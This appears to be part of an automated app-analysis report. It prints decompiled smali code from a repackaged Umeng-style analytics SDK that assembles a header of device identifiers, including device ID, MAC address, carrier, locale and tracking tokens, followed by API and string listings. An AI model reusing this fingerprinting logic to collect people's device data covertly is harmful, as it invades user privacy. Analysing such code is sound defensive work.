                                                                              63try_end_54: if-eq v0, v8, :cond_83
                                                                              64try_start_56:
                                                                              65const-string v0, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              67invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              68move-result-object v0
                                                                              69if-eqz v0, :cond_2df
                                                                              71const-string v4, "getUmtt"
                                                                              72const/4 v5, 0x1
                                                                              73new-array v5, v5, [Ljava/lang/Class;
                                                                              74const/4 v6, 0x0
                                                                              75const-class v7, Landroid/content/Context;
                                                                              76aput-object v7, v5, v6
                                                                              78invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              79move-result-object v4
                                                                              80const/4 v5, 0x1
                                                                              81new-array v5, v5, [Ljava/lang/Object;
                                                                              82const/4 v6, 0x0
                                                                              83aput-object v3, v5, v6
                                                                              85invoke-virtual {v4, v0, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              86move-result-object v0
                                                                              87check-cast v0, Ljava/lang/String;
                                                                              88try_end_78:
                                                                              89invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              90move-result v4
                                                                              91if-nez v4, :cond_83
                                                                              93const-string v4, "umtt"
                                                                              95invoke-virtual {v2, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              96goto_83:
                                                                              97const-string v0, "umid"
                                                                              98const/4 v4, 0x0
                                                                              100invoke-static {v3, v0, v4}, LuAgent/commonsdk/framework/UMEnvelopeBuild;->imprintProperty(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              101move-result-object v0
                                                                              103invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              104move-result v4
                                                                              105if-nez v4, :cond_95
                                                                              107const-string v4, "umid"
                                                                              109invoke-virtual {v2, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              110cond_95: sget v0, LuAgent/commonsdk/statistics/d;->b:I
                                                                              111if-eq v0, v8, :cond_a8
                                                                              113invoke-static {v3}, LuAgent/commonsdk/proguard/a;->b(Landroid/content/Context;)Ljava/lang/String;
                                                                              114move-result-object v0
                                                                              115if-eqz v0, :cond_a8
                                                                              117const-string v0, "utoken"
                                                                              119invoke-static {v3}, LuAgent/commonsdk/proguard/a;->b(Landroid/content/Context;)Ljava/lang/String;
                                                                              120move-result-object v4
                                                                              122invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              123goto_a8:
                                                                              124const-string v0, "wrapper_type"
                                                                              126sget-object v4, LuAgent/commonsdk/stateless/a;->a:Ljava/lang/String;
                                                                              128invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              130const-string v0, "wrapper_version"
                                                                              132sget-object v4, LuAgent/commonsdk/stateless/a;->b:Ljava/lang/String;
                                                                              134invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              135goto_b6: if-eqz v2, :cond_293
                                                                              136try_start_b8:
                                                                              137invoke-virtual {v2}, Lorg/json/JSONObject;->length()I
                                                                              138move-result v0
                                                                              139if-lez v0, :cond_293
                                                                              140new-instance v0, Lorg/json/JSONObject;
                                                                              142invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              144const-string v4, "walle"
                                                                              145const/4 v5, 0x1
                                                                              146new-array v5, v5, [Ljava/lang/Object;
                                                                              147const/4 v6, 0x0
                                                                              148new-instance v7, Ljava/lang/StringBuilder;
                                                                              150invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              152const-string v8, "[stateless] build header end , header is "
                                                                              154invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              155move-result-object v7
                                                                              157invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              158move-result-object v8
                                                                              160invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              161move-result-object v7
                                                                              163const-string v8, ", thread is "
                                                                              165invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              166move-result-object v7
                                                                              168invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              169move-result-object v8
                                                                              171invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              172move-result-object v7
                                                                              174invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              175move-result-object v7
                                                                              176aput-object v7, v5, v6
                                                                              178invoke-static {v4, v5}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              180const-string v4, "header"
                                                                              182invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              183move-result-object v0
                                                                              184goto/16 :goto_28
                                                                              185cond_fb: new-instance v0, Lorg/json/JSONObject;
                                                                              187invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              189const-string v2, "app_signature"
                                                                              191invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppMD5Signature(Landroid/content/Context;)Ljava/lang/String;
                                                                              192move-result-object v4
                                                                              194invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              196const-string v2, "app_sig_sha1"
                                                                              198invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppSHA1Key(Landroid/content/Context;)Ljava/lang/String;
                                                                              199move-result-object v4
                                                                              201invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              203const-string v2, "app_sig_sha"
                                                                              205invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppHashKey(Landroid/content/Context;)Ljava/lang/String;
                                                                              206move-result-object v4
                                                                              208invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              210const-string v2, "app_version"
                                                                              212invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppVersionName(Landroid/content/Context;)Ljava/lang/String;
                                                                              213move-result-object v4
                                                                              215invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              217const-string v2, "version_code"
                                                                              219invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppVersionCode(Landroid/content/Context;)Ljava/lang/String;
                                                                              220move-result-object v4
                                                                              222invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              223move-result v4
                                                                              225invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              227const-string v2, "idmd5"
                                                                              229invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getDeviceIdUmengMD5(Landroid/content/Context;)Ljava/lang/String;
                                                                              230move-result-object v4
                                                                              232invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              234const-string v2, "cpu"
                                                                              236invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getCPU()Ljava/lang/String;
                                                                              237move-result-object v4
                                                                              239invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              241invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMCCMNC(Landroid/content/Context;)Ljava/lang/String;
                                                                              242move-result-object v2
                                                                              244invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              245move-result v4
                                                                              246if-nez v4, :cond_286
                                                                              248const-string v4, "mccmnc"
                                                                              250invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              251goto_152:
                                                                              252invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSubOSName(Landroid/content/Context;)Ljava/lang/String;
                                                                              253move-result-object v2
                                                                              255invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              256move-result v4
                                                                              257if-nez v4, :cond_161
                                                                              259const-string v4, "sub_os_name"
                                                                              261invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              262cond_161:
                                                                              263invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSubOSVersion(Landroid/content/Context;)Ljava/lang/String;
                                                                              264move-result-object v2
                                                                              266invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              267move-result v4
                                                                              268if-nez v4, :cond_170
                                                                              270const-string v4, "sub_os_version"
                                                                              272invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              273cond_170:
                                                                              274invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getDeviceType(Landroid/content/Context;)Ljava/lang/String;
                                                                              275move-result-object v2
                                                                              277invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              278move-result v4
                                                                              279if-nez v4, :cond_17f
                                                                              281const-string v4, "device_type"
                                                                              283invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              284cond_17f:
                                                                              285const-string v2, "package_name"
                                                                              287invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getPackageName(Landroid/content/Context;)Ljava/lang/String;
                                                                              288move-result-object v4
                                                                              290invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              292const-string v2, "sdk_type"
                                                                              294const-string v4, "Android"
                                                                              296invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              298const-string v2, "device_id"
                                                                              300invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getDeviceId(Landroid/content/Context;)Ljava/lang/String;
                                                                              301move-result-object v4
                                                                              303invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              305const-string v2, "device_model"
                                                                              307sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              309invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              311const-string v2, "device_board"
                                                                              313sget-object v4, Landroid/os/Build;->BOARD:Ljava/lang/String;
                                                                              315invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              317const-string v2, "device_brand"
                                                                              319sget-object v4, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              321invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              323const-string v2, "device_manutime"
                                                                              324sget-wide v4, Landroid/os/Build;->TIME:J
                                                                              326invoke-virtual {v0, v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              328const-string v2, "device_manufacturer"
                                                                              330sget-object v4, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                                                                              332invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              334const-string v2, "device_manuid"
                                                                              336sget-object v4, Landroid/os/Build;->ID:Ljava/lang/String;
                                                                              338invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              340const-string v2, "device_name"
                                                                              342sget-object v4, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                                                                              344invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              346const-string v2, "os"
                                                                              348const-string v4, "Android"
                                                                              350invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              352const-string v2, "os_version"
                                                                              354sget-object v4, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                                                                              356invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              358invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getResolutionArray(Landroid/content/Context;)[I
                                                                              359move-result-object v2
                                                                              360if-eqz v2, :cond_1ff
                                                                              362const-string v4, "resolution"
                                                                              363new-instance v5, Ljava/lang/StringBuilder;
                                                                              365invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              366const/4 v6, 0x1
                                                                              367aget v6, v2, v6
                                                                              369invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              370move-result-object v5
                                                                              372const-string v6, "*"
                                                                              374invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              375move-result-object v5
                                                                              376const/4 v6, 0x0
                                                                              377aget v2, v2, v6
                                                                              379invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              380move-result-object v2
                                                                              382invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              383move-result-object v2
                                                                              385invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              386cond_1ff:
                                                                              387const-string v2, "mc"
                                                                              389invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMac(Landroid/content/Context;)Ljava/lang/String;
                                                                              390move-result-object v4
                                                                              392invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              394const-string v2, "timezone"
                                                                              396invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getTimeZone(Landroid/content/Context;)I
                                                                              397move-result v4
                                                                              399invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              401invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getLocaleInfo(Landroid/content/Context;)[Ljava/lang/String;
                                                                              402move-result-object v2
                                                                              404const-string v4, "country"
                                                                              405const/4 v5, 0x0
                                                                              406aget-object v5, v2, v5
                                                                              408invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              410const-string v4, "language"
                                                                              411const/4 v5, 0x1
                                                                              412aget-object v2, v2, v5
                                                                              414invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              416const-string v2, "carrier"
                                                                              418invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getNetworkOperatorName(Landroid/content/Context;)Ljava/lang/String;
                                                                              419move-result-object v4
                                                                              421invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              423const-string v2, "display_name"
                                                                              425invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppName(Landroid/content/Context;)Ljava/lang/String;
                                                                              426move-result-object v4
                                                                              428invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              430invoke-static {v3}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getNetworkAccessMode(Landroid/content/Context;)[Ljava/lang/String;
                                                                              431move-result-object v2
                                                                              433const-string v4, "Wi-Fi"
                                                                              434const/4 v5, 0x0
                                                                              435aget-object v5, v2, v5
                                                                              437invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              438move-result v4
                                                                              439if-eqz v4, :cond_2bb
                                                                              441const-string v4, "access"
                                                                              443const-string v5, "wifi"
                                                                              445invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              446goto_24d:
                                                                              447const-string v4, ""
                                                                              448const/4 v5, 0x1
                                                                              449aget-object v5, v2, v5
                                                                              451invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              452move-result v4
                                                                              453if-nez v4, :cond_260
                                                                              455const-string v4, "access_subtype"
                                                                              456const/4 v5, 0x1
                                                                              457aget-object v2, v2, v5
                                                                              459invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              460cond_260:
                                                                              461const-string v2, "com_ver"
                                                                              463const-string v4, "1.4.4"
                                                                              465invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              467const-string v2, "com_type"
                                                                              468sget v4, LuAgent/commonsdk/statistics/d;->b:I
                                                                              470invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              472sget-object v2, LuAgent/commonsdk/stateless/UMSLEnvelopeBuild;->module:Ljava/lang/String;
                                                                              474invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              475move-result v2
                                                                              476if-nez v2, :cond_27d
                                                                              478const-string v2, "module"
                                                                              480sget-object v4, LuAgent/commonsdk/stateless/UMSLEnvelopeBuild;->module:Ljava/lang/String;
                                                                              482invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              483cond_27d:
                                                                              484invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              485move-result-object v2
                                                                              486sput-object v2, LuAgent/commonsdk/stateless/UMSLEnvelopeBuild;->cacheSystemheader:Ljava/lang/String;
                                                                              487move-object v2, v0
                                                                              488goto/16 :goto_3e
                                                                              489cond_286:
                                                                              490const-string v2, "mccmnc"
                                                                              492const-string v4, ""
                                                                              494invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              495try_end_28d: goto/16 :goto_152
                                                                              496catch_28f: move-exception v0
                                                                              497try_start_290:
                                                                              498invoke-static {v3, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              499cond_293:
                                                                              500const-string v0, "walle"
                                                                              501const/4 v2, 0x1
                                                                              502new-array v2, v2, [Ljava/lang/Object;
                                                                              503const/4 v3, 0x0
                                                                              504new-instance v4, Ljava/lang/StringBuilder;
                                                                              506invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              508const-string v5, "[stateless] build header end , header is null !!! thread is "
                                                                              510invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              511move-result-object v4
                                                                              513invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              514move-result-object v5
                                                                              516invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              517move-result-object v4
                                                                              519invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              520move-result-object v4
                                                                              521aput-object v4, v2, v3
                                                                              523invoke-static {v0, v2}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              524try_end_2b5: move-object v0, v1
                                                                              525goto/16 :goto_28
                                                                              526catchall_2b8: move-exception v0
                                                                              527monitor-exit p0
                                                                              528throw v0
                                                                              529try_start_2bb:
                                                                              530const-string v4, "2G/3G"
                                                                              531const/4 v5, 0x0
                                                                              532aget-object v5, v2, v5
                                                                              534invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              535move-result v4
                                                                              536if-eqz v4, :cond_2ce
                                                                              538const-string v4, "access"
                                                                              540const-string v5, "2G/3G"
                                                                              542invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              543goto/16 :goto_24d
                                                                              544cond_2ce:
                                                                              545const-string v4, "access"
                                                                              547const-string v5, "unknow"
                                                                              549invoke-virtual {v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              550try_end_2d5: goto/16 :goto_24d
                                                                              551catch_2d7: move-exception v0
                                                                              552move-object v0, v1
                                                                              553goto/16 :goto_78
                                                                              554catch_2db: move-exception v0
                                                                              555move-object v0, v1
                                                                              556goto/16 :goto_78
                                                                              557cond_2df: move-object v0, v1
                                                                              558goto/16 :goto_78
                                                                              559catch_2e2: move-exception v0
                                                                              560move-object v2, v1
                                                                              561goto/16 :goto_3e
                                                                              562cond_2e6: move-object v0, v1
                                                                              563goto/16 :goto_28
                                                                              564catch_2e9: move-exception v0
                                                                              565goto/16 :goto_83
                                                                              566catch_2ec: move-exception v0
                                                                              567goto/16 :goto_95
                                                                              568catch_2ef: move-exception v0
                                                                              569goto/16 :goto_a8
                                                                              570catch_2f2: move-exception v0
                                                                              571goto/16 :goto_b6
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.Integer.parseInt
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.BOARD:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.ID:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.DEVICE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.String.equals
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.String.equals
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.toString
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.String.equals
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.content.SharedPreferences.getInt
                                                                              • org.json.JSONObject.put
                                                                              • android.content.SharedPreferences.getInt
                                                                              • org.json.JSONObject.put
                                                                              • android.content.SharedPreferences.getInt
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.util.Base64.encodeToString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • app_signature
                                                                              • app_sig_sha1
                                                                              • app_sig_sha
                                                                              • app_version
                                                                              • version_code
                                                                              • idmd5
                                                                              • cpu
                                                                              • mccmnc
                                                                              • sub_os_name
                                                                              • sub_os_version
                                                                              • device_type
                                                                              • package_name
                                                                              • sdk_type
                                                                              • Android
                                                                              • device_id
                                                                              • device_model
                                                                              • device_board
                                                                              • device_brand
                                                                              • device_manutime
                                                                              • device_manufacturer
                                                                              • device_manuid
                                                                              • device_name
                                                                              • os
                                                                              • os_version
                                                                              • resolution
                                                                              • *
                                                                              • mc
                                                                              • timezone
                                                                              • country
                                                                              • language
                                                                              • carrier
                                                                              • display_name
                                                                              • Wi-Fi
                                                                              • access
                                                                              • wifi
                                                                              • access_subtype
                                                                              • com_ver
                                                                              • 1.4.4
                                                                              • com_type
                                                                              • module
                                                                              • 2G/3G
                                                                              • unknow
                                                                              • successful_requests
                                                                              • successful_request
                                                                              • failed_requests
                                                                              • req_time
                                                                              • last_request_spent_ms
                                                                              • channel
                                                                              • appkey
                                                                              • devicetoken
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt
                                                                              • umtt
                                                                              • umid
                                                                              • utoken
                                                                              • wrapper_type
                                                                              • wrapper_version
                                                                              • imprint
                                                                              • header
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1const/4 v7, 0x1
                                                                              2try_start_2:
                                                                              3invoke-static {p0}, LuAgent/commonsdk/statistics/internal/PreferenceWrapper;->getDefault(Landroid/content/Context;)Landroid/content/SharedPreferences;
                                                                              4move-result-object v3
                                                                              6sget-object v0, LuAgent/commonsdk/statistics/b;->e:Ljava/lang/String;
                                                                              8invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              9try_end_b: move-result v0
                                                                              10if-nez v0, :cond_1d
                                                                              11try_start_e: new-instance v0, Lorg/json/JSONObject;
                                                                              13sget-object v2, LuAgent/commonsdk/statistics/b;->e:Ljava/lang/String;
                                                                              15invoke-direct {v0, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                                                                              16try_end_15: move-object v2, v0
                                                                              17goto_16: if-nez v2, :cond_1d3
                                                                              18cond_18: move-object v0, v1
                                                                              19goto_19: return-object v0
                                                                              20catch_1a: move-exception v0
                                                                              21move-object v2, v1
                                                                              22goto/16 :goto_16
                                                                              23cond_1d: new-instance v0, Lorg/json/JSONObject;
                                                                              25invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              27const-string v2, "app_signature"
                                                                              29invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getAppMD5Signature(Landroid/content/Context;)Ljava/lang/String;
                                                                              30move-result-object v4
                                                                              32invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              34const-string v2, "app_sig_sha1"
